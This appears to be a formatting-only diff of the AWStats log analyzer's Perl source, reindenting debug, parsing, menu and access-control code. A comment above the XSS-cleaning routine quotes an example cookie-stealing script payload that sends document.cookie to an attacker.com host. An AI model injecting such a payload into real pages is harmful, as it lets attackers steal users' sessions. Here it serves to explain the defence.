+ . (
+ $nbofelemtosave
+ ? "($nbofelemtosave records max)"
+ : "(all records)"
+ )
+ . " into file $filetosave"
);
}
if ( !open( DNSFILE, ">$filetosave" ) ) {
- warning( "Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
+ warning(
+"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
);
return 1;
}
}
if ($Debug) {
debug(
- " Saved $nbofelemsaved items into $filetosave in "
- . ( time() - $timetosave )
- . " seconds.",
- 1
+ " Saved $nbofelemsaved items into $filetosave in "
+ . ( time() - $timetosave )
+ . " seconds.",
+ 1
);
}
return 0;
$StartMicroseconds = $newmicroseconds;
}
return ( ( $newseconds - $StartSeconds ) * 1000 +
- int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
+ int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
}
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
# Decoding is done by XMLDecodeFromHisto.
-# AWStats data files are stored in ISO-8859-1.
+# AWStats data files are stored in ISO-8859-1.
# Parameters: stringtoencode
# Return: encodedstring
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
sub EncodeToPageCode {
my $string = shift;
- if ($PageCode eq 'utf-8') { $string=encode("utf8", $string); }
+ if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
return $string;
}
# and clean | char.
# A XSS attack is providing an AWStats url with XSS code that is executed
# when page loaded by awstats CGI is loaded from AWStats server. Such a code
-# can be<script>document.write("<img src=http://attacker.com/� + document.cookie + �>�)</script>
+# can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
# This make the browser sending a request to the attacker server that contains
# cookie used for AWStats server sessions. Attacker can this way caught this
# cookie and used it to go on AWStats server like original visitor. For this
#------------------------------------------------------------------------------
# Function: Clean tags in a string
-# AWStats data files are stored in ISO-8859-1.
+# AWStats data files are stored in ISO-8859-1.
# Parameters: stringtodecode
# Input: None
# Output: None
my $NewLinkParams = $QueryString;
my $NewLinkTarget = '';
if ( $ENV{'GATEWAY_INTERFACE'} ) {
- $NewLinkParams = CleanNewLinkParamsFrom(
- $NewLinkParams,
- (
- 'update', 'staticlinks',
- 'framename', 'lang'
- )
- );
+ $NewLinkParams =
+ CleanNewLinkParamsFrom( $NewLinkParams,
+ ( 'update', 'staticlinks', 'framename', 'lang' ) );
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
: $lng;
if ( $lng ne $CurrentLang ) {
my %lngtitle = (
- 'en', 'English', 'fr', 'French',
- 'de', 'German', 'it', 'Italian',
- 'nl', 'Dutch', 'es', 'Spanish'
+ 'en', 'English', 'fr', 'French', 'de', 'German',
+ 'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish'
);
my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
- my $flag =
- ( $LangAWStatsToFlagAwstats{$lng}
+ my $flag = (
+ $LangAWStatsToFlagAwstats{$lng}
? $LangAWStatsToFlagAwstats{$lng}
- : $lng );
+ : $lng
+ );
print "<a href=\""
. XMLEncode("$AWScript?${NewLinkParams}lang=$lng")
. "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
$lowerval = $keyval;
if ($Debug) {
debug(
- " lowerval=$lowerval, nb elem val="
- . ( scalar keys %val )
- . ", nb elem egal="
- . ( scalar keys %egal ) . ".",
- 4
+ " lowerval=$lowerval, nb elem val="
+ . ( scalar keys %val )
+ . ", nb elem egal="
+ . ( scalar keys %egal ) . ".",
+ 4
);
}
return;
$val{$keyval} = $keytoadd;
if ($Debug) {
debug(
- " lowerval=$lowerval, nb elem val="
- . ( scalar keys %val )
- . ", nb elem egal="
- . ( scalar keys %egal ) . ".",
- 4
+ " lowerval=$lowerval, nb elem val="
+ . ( scalar keys %val )
+ . ", nb elem egal="
+ . ( scalar keys %egal ) . ".",
+ 4
);
}
return;
$lowerval = $keyval;
if ($Debug) {
debug(
- " lowerval=$lowerval, nb elem val="
- . ( scalar keys %val )
- . ", nb elem egal="
- . ( scalar keys %egal ) . ".",
- 4
+ " lowerval=$lowerval, nb elem val="
+ . ( scalar keys %val )
+ . ", nb elem egal="
+ . ( scalar keys %egal ) . ".",
+ 4
);
}
return;
$nextval{$valcursor} = $keyval;
if ($Debug) {
debug(
- " lowerval=$lowerval, nb elem val="
- . ( scalar keys %val )
- . ", nb elem egal="
- . ( scalar keys %egal ) . ".",
- 4
+ " lowerval=$lowerval, nb elem val="
+ . ( scalar keys %val )
+ . ", nb elem egal="
+ . ( scalar keys %egal ) . ".",
+ 4
);
}
}
}
if ($Debug) {
debug(
- " new lower value=$lowerval, val size="
- . ( scalar keys %val )
- . ", egal size="
- . ( scalar keys %egal ),
- 4
+ " new lower value=$lowerval, val size="
+ . ( scalar keys %val )
+ . ", egal size="
+ . ( scalar keys %egal ),
+ 4
);
}
}
my $hashfororder = shift;
if ($Debug) {
debug(
- " BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
- . ( scalar keys %$hashforselect )
- . ",$hashfororder with size="
- . ( scalar keys %$hashfororder ) . ")",
- 3
+ " BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
+ . ( scalar keys %$hashforselect )
+ . ",$hashfororder with size="
+ . ( scalar keys %$hashfororder ) . ")",
+ 3
);
}
delete $hashforselect->{0};
- delete $hashforselect->{''
+ delete $hashforselect->{ ''
}; # Those is to protect from infinite loop when hash array has an incorrect null key
my $count = 0;
$lowerval = 0; # Global because used in AddInTree and Removelowerval
$count++;
if ($Debug) {
debug(
- " Add in tree entry $count : $key (value="
- . ( $hashfororder->{$key} || 0 )
- . ", tree not full)",
- 4
+ " Add in tree entry $count : $key (value="
+ . ( $hashfororder->{$key} || 0 )
+ . ", tree not full)",
+ 4
);
}
AddInTree( $key, $hashfororder->{$key} || 0, $count );
if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
if ($Debug) {
debug(
- " Add in tree entry $count : $key (value="
- . ( $hashfororder->{$key} || 0 )
- . " > lowerval=$lowerval)",
- 4
+ " Add in tree entry $count : $key (value="
+ . ( $hashfororder->{$key} || 0 )
+ . " > lowerval=$lowerval)",
+ 4
);
}
AddInTree( $key, $hashfororder->{$key} || 0 );
# Build key list and sort it
if ($Debug) {
debug(
- " Build key list and sort it. lowerval=$lowerval, nb elem val="
- . ( scalar keys %val )
- . ", nb elem egal="
- . ( scalar keys %egal ) . ".",
- 3
+ " Build key list and sort it. lowerval=$lowerval, nb elem val="
+ . ( scalar keys %val )
+ . ", nb elem egal="
+ . ( scalar keys %egal ) . ".",
+ 3
);
}
my %notsortedkeylist = ();
foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; }
foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
@keylist = ();
- @keylist = (
- sort {
- ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 )
- } keys %notsortedkeylist
- );
+ @keylist =
+ ( sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
+ keys %notsortedkeylist );
if ($Debug) {
debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
}
if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
open( LOCK, ">$DirLock/$lock" )
|| error( "Failed to create lock file $DirLock/$lock", "", "",
- 1 );
+ 1 );
print LOCK
"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
close(LOCK);
#------------------------------------------------------------------------------
sub Tooltip {
my $ttnb = shift;
- return ( $TOOLTIPON
- ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
- : "" );
+ return (
+ $TOOLTIPON
+ ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
+ : ""
+ );
}
#------------------------------------------------------------------------------
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
}
- if ( $QueryString =~ /(^|&|&)month=(\d\d)/i
- || $QueryString =~ /(^|&|&)month=(all)/i )
+ if ( $QueryString =~ /(^|&|&)month=(\d\d)/i
+ || $QueryString =~ /(^|&|&)month=(all)/i )
{
print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
}
# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
if ($Debug) {
- debug( "Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
+ debug(
+"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
);
}
if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format
if ( $LogFormat eq '1' || $LogFormat eq '6' )
- { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
- # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
+ { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
+ # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
- # $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
+# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
$PerlParsingFormat =
"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
$pos_host = 0;
$pos_size = 6;
$pos_referer = 7;
$pos_agent = 8;
- @fieldlib = (
- 'host', 'logname', 'date', 'method',
- 'url', 'code', 'size', 'referer',
- 'ua'
+ @fieldlib = (
+ 'host', 'logname', 'date', 'method', 'url', 'code',
+ 'size', 'referer', 'ua'
);
}
elsif ( $LogFormat eq '2' )
$pos_size = 6;
$pos_agent = 7;
$pos_referer = 8;
- @fieldlib = (
- 'date', 'host', 'logname', 'method',
- 'url', 'code', 'size', 'ua',
- 'referer'
+ @fieldlib = (
+ 'date', 'host', 'logname', 'method', 'url', 'code',
+ 'size', 'ua', 'referer'
);
}
elsif ( $LogFormat eq '3' ) {
$pos_referer = 5;
$pos_url = 6;
$pos_size = 7;
- @fieldlib = (
- 'date', 'method', 'code', 'host',
- 'ua', 'referer', 'url', 'size'
+ @fieldlib = (
+ 'date', 'method', 'code', 'host',
+ 'ua', 'referer', 'url', 'size'
);
}
elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b"
$pos_logname = $i;
$i++;
push @fieldlib, 'logname';
- # %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
+
+# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
$PerlParsingFormat .= "([^\\/\\[]+)";
}
$i++;
push @fieldlib, 'url';
$PerlParsingFormat .=
+
#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
}
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
- # Special for protocolmms, used for method if method not already found (for MMS)
+# Special for protocolmms, used for method if method not already found (for MMS)
elsif ( $f =~ /%protocolmms$/ ) {
if ( $pos_method < 0 ) {
$pos_method = $i;
}
}
- # Special for codemms, used for code only if code not already found (for MMS)
+ # Special for codemms, used for code only if code not already found (for MMS)
elsif ( $f =~ /%codemms$/ ) {
if ( $pos_code < 0 ) {
$pos_code = $i;
}
}
if ( $pos_host < 0 ) {
- error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
+ error(
+"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
);
}
if ( $pos_date < 0 ) {
- error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
+ error(
+"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
);
}
if ( $pos_method < 0 ) {
- error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
+ error(
+"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
);
}
if ( $pos_url < 0 ) {
- error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
+ error(
+"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
);
}
if ( $pos_code < 0 ) {
- error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
+ error(
+"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
);
}
if ( $pos_size < 0 ) {
- error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
+ error(
+"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
);
}
$PerlParsingFormat = qr/^$PerlParsingFormat/;
sub ShowMenuCateg {
my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
- $NewLinkParams, $NewLinkTarget )
+ $NewLinkParams, $NewLinkTarget )
= ( shift, shift, shift, shift, shift, shift, shift, shift );
$categicon = ''; # Comment this to enabme category icons
my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
# Call to plugins' function AddHTMLMenuLink
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
- # my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
- # eval("$function");
+# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
+# eval("$function");
my $function = "AddHTMLMenuLink_$pluginname";
&$function( $categ, $menu, $menulink, $menutext );
}
}
if ( !$linetitle ) { return; }
- # At least one entry in menu for this category, we can show category and entries
+# At least one entry in menu for this category, we can show category and entries
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
. ( $frame ? "" : " valign=\"top\"" ) . ">"
if ( $menulink->{$key} == 2 ) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
- : "" );
+ : ""
+ );
print "<a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=$key")
- : "$PROG$StaticLinks.$key.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=$key")
+ : "$PROG$StaticLinks.$key.$StaticExt"
+ )
. "\"$NewLinkTarget>$menutext->{$key}</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
else {
$title =
"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=allemails")
- : "$PROG$StaticLinks.allemails.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=allemails")
+ : "$PROG$StaticLinks.allemails.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowEMailSenders =~ /L/i ) {
- $title .=
- " - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=lastemails")
- : "$PROG$StaticLinks.lastemails.$StaticExt" )
+ $title .= " - <a href=\""
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=lastemails")
+ : "$PROG$StaticLinks.lastemails.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[9]</a>";
}
}
my $count = 0;
if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
- \%_emails_h );
+ \%_emails_h );
}
if ( $HTMLOutput{'allemails'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
- \%_emails_h );
+ \%_emails_h );
}
if ( $HTMLOutput{'lastemails'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
- \%_emails_l );
+ \%_emails_l );
}
foreach my $key (@keylist) {
my $newkey = $key;
else {
$title =
"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=allemailr")
- : "$PROG$StaticLinks.allemailr.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=allemailr")
+ : "$PROG$StaticLinks.allemailr.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowEMailReceivers =~ /L/i ) {
- $title .=
- " - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=lastemailr")
- : "$PROG$StaticLinks.lastemailr.$StaticExt" )
+ $title .= " - <a href=\""
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=lastemailr")
+ : "$PROG$StaticLinks.lastemailr.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[9]</a>";
}
}
my $count = 0;
if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
- \%_emailr_h );
+ \%_emailr_h );
}
if ( $HTMLOutput{'allemailr'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
- \%_emailr_h );
+ \%_emailr_h );
}
if ( $HTMLOutput{'lastemailr'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
- \%_emailr_l );
+ \%_emailr_l );
}
foreach my $key (@keylist) {
my $newkey = $key;
# Get tomorrow time (will be used to discard some record with corrupted date (future date))
my (
- $tomorrowsec, $tomorrowmin, $tomorrowhour,
- $tomorrowday, $tomorrowmonth, $tomorrowyear
+ $tomorrowsec, $tomorrowmin, $tomorrowhour,
+ $tomorrowday, $tomorrowmonth, $tomorrowyear
)
= localtime( $starttime + 86400 );
if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; }
if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; }
$tomorrowtime =
- int( $tomorrowyear
- . $tomorrowmonth
- . $tomorrowday
- . $tomorrowhour
- . $tomorrowmin
- . $tomorrowsec );
+ int( $tomorrowyear
+ . $tomorrowmonth
+ . $tomorrowday
+ . $tomorrowhour
+ . $tomorrowmin
+ . $tomorrowsec );
# Allowed option
my @AllowedCLIArgs = (
- 'migrate', 'config',
- 'logfile', 'output',
- 'runascli', 'update',
- 'staticlinks', 'staticlinksext',
- 'noloadplugin', 'loadplugin',
- 'hostfilter', 'urlfilter',
- 'refererpagesfilter', 'lang',
- 'month', 'year',
- 'framename', 'debug',
- 'showsteps', 'showdropped',
- 'showcorrupted', 'showunknownorigin',
- 'showdirectorigin', 'limitflush',
- 'confdir', 'updatefor',
- 'hostfilter', 'hostfilterex',
- 'urlfilter', 'urlfilterex',
- 'refererpagesfilter', 'refererpagesfilterex',
- 'pluginmode', 'filterrawlog'
+ 'migrate', 'config',
+ 'logfile', 'output',
+ 'runascli', 'update',
+ 'staticlinks', 'staticlinksext',
+ 'noloadplugin', 'loadplugin',
+ 'hostfilter', 'urlfilter',
+ 'refererpagesfilter', 'lang',
+ 'month', 'year',
+ 'framename', 'debug',
+ 'showsteps', 'showdropped',
+ 'showcorrupted', 'showunknownorigin',
+ 'showdirectorigin', 'limitflush',
+ 'confdir', 'updatefor',
+ 'hostfilter', 'hostfilterex',
+ 'urlfilter', 'urlfilterex',
+ 'refererpagesfilter', 'refererpagesfilterex',
+ 'pluginmode', 'filterrawlog'
);
# Parse input parameters and sanitize them for security reasons
# Security test
if ( $QueryString =~ /LogFile=([^&]+)/i ) {
- error( "Logfile parameter can't be overwritten when AWStats is used from a CGI"
+ error(
+"Logfile parameter can't be overwritten when AWStats is used from a CGI"
);
}
$QueryString = CleanXSS($QueryString);
# Security test
- if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
- && $QueryString =~ /LogFile=([^&]+)/i )
+ if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
+ && $QueryString =~ /LogFile=([^&]+)/i )
{
- error( "Logfile parameter can't be overwritten when AWStats is used from a CGI"
+ error(
+"Logfile parameter can't be overwritten when AWStats is used from a CGI"
);
}
# Get/Define output
if ( $QueryString =~
- /(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i )
+ /(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i )
{
error( "Only 1 output option is allowed", "", "", 1 );
}
} # For backward compatibility
if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
if ($Debug) {
- debug( "AWSTATS_FORCE_CONFIG parameter is defined to '"
- . $ENV{'AWSTATS_FORCE_CONFIG'}
- . "'. $PROG will use this as config value." );
+ debug( "AWSTATS_FORCE_CONFIG parameter is defined to '"
+ . $ENV{'AWSTATS_FORCE_CONFIG'}
+ . "'. $PROG will use this as config value." );
}
$SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
}
if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
&Read_Ref_Data(
- 'browsers', 'domains',
- 'operating_systems', 'robots',
- 'search_engines', 'worms'
+ 'browsers', 'domains', 'operating_systems', 'robots',
+ 'search_engines', 'worms'
);
print "----- $PROG $VERSION (c) 2000-2008 Laurent Destailleur -----\n";
print
if ($Debug) {
debug(
"Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
- 1 );
+ 1
+ );
}
foreach my $code ( split( /,/, $langlist ) )
{ # Search for a valid lang in priority
# Now SiteDomain is defined
if ( $Debug && !$DebugMessages ) {
- error( "Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
+ error(
+"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
);
}
# Define frame name and correct variable for frames
if ( !$FrameName ) {
- if ( $ENV{'GATEWAY_INTERFACE'}
- && $UseFramesWhenCGI
- && $HTMLOutput{'main'}
- && !$PluginMode )
+ if ( $ENV{'GATEWAY_INTERFACE'}
+ && $UseFramesWhenCGI
+ && $HTMLOutput{'main'}
+ && !$PluginMode )
{
$FrameName = 'index';
}
if ( $FrameName ne 'mainleft' ) {
my %datatoload = ();
my (
- $filedomains, $filemime, $filerobots, $fileworms,
- $filebrowser, $fileos, $filese
+ $filedomains, $filemime, $filerobots, $fileworms,
+ $filebrowser, $fileos, $filese
)
= (
'domains', 'mime',
{
if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
if ( !$ENV{"REMOTE_USER"} ) {
- error( "Access to statistics is only allowed from an authenticated session to authenticated users."
+ error(
+"Access to statistics is only allowed from an authenticated session to authenticated users."
);
}
if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
if (/$currentuser/o) { $userisinlist = 1; last; }
}
if ( !$userisinlist ) {
- error("User '"
- . $ENV{"REMOTE_USER"}
- . "' is not allowed to access statistics of this domain/config."
+ error( "User '"
+ . $ENV{"REMOTE_USER"}
+ . "' is not allowed to access statistics of this domain/config."
);
}
}
my $allowaccess = 0;
foreach my $ipaddressrange (@allowaccessfromipaddresses) {
if ( $ipaddressrange !~
- /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
- && $ipaddressrange !~
- /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
+ /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
+ && $ipaddressrange !~
+ /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
{
- error( "AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
+ error(
+"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
);
}
# Test ip v4
if ( $ipaddressrange =~
- /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
+ /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
{
my $ipmin = &Convert_IP_To_Decimal($1);
my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
# Test ip v6
if ( $ipaddressrange =~
- /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
+ /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
{
if ( $ipaddressrange =~ /::\// ) {
my @IPv6split = split( /::/, $ipaddressrange );
}
if ( !$allowaccess ) {
error( "Access to statistics is not allowed from your IP Address "
- . $ENV{"REMOTE_ADDR"} );
+ . $ENV{"REMOTE_ADDR"} );
}
}
-if ( ( $UpdateStats || $MigrateStats )
- && ( !$AllowToUpdateStatsFromBrowser )
- && $ENV{'GATEWAY_INTERFACE'} )
+if ( ( $UpdateStats || $MigrateStats )
+ && ( !$AllowToUpdateStatsFromBrowser )
+ && $ENV{'GATEWAY_INTERFACE'} )
{
- error(""
- . ( $UpdateStats ? "Update" : "Migrate" )
- . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
+ error( ""
+ . ( $UpdateStats ? "Update" : "Migrate" )
+ . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
);
}
if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
if ( !$AllowFullYearView ) {
- error( "Full year view has not been allowed (AllowFullYearView is set to 0)."
+ error(
+"Full year view has not been allowed (AllowFullYearView is set to 0)."
);
}
if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
- error( "Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
+ error(
+"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
);
}
}
if ($MigrateStats) {
if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
if ( $MigrateStats !~
- /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
+ /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
{
error(
"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
if ($EnableLockForUpdate) { &Lock_Update(1); }
my $newhistory =
&Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
- $HourRequired, 1, 0, 'all' );
+ $HourRequired, 1, 0, 'all' );
if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
unlink "$newhistory";
error(
"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
. (
- $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
+ $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
)
. " or file might be opened."
);
}
%MonthNumLib = (
- "01", "$Message[60]", "02", "$Message[61]",
- "03", "$Message[62]", "04", "$Message[63]",
- "05", "$Message[64]", "06", "$Message[65]",
- "07", "$Message[66]", "08", "$Message[67]",
- "09", "$Message[68]", "10", "$Message[69]",
- "11", "$Message[70]", "12", "$Message[71]"
+ "01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
+ "04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
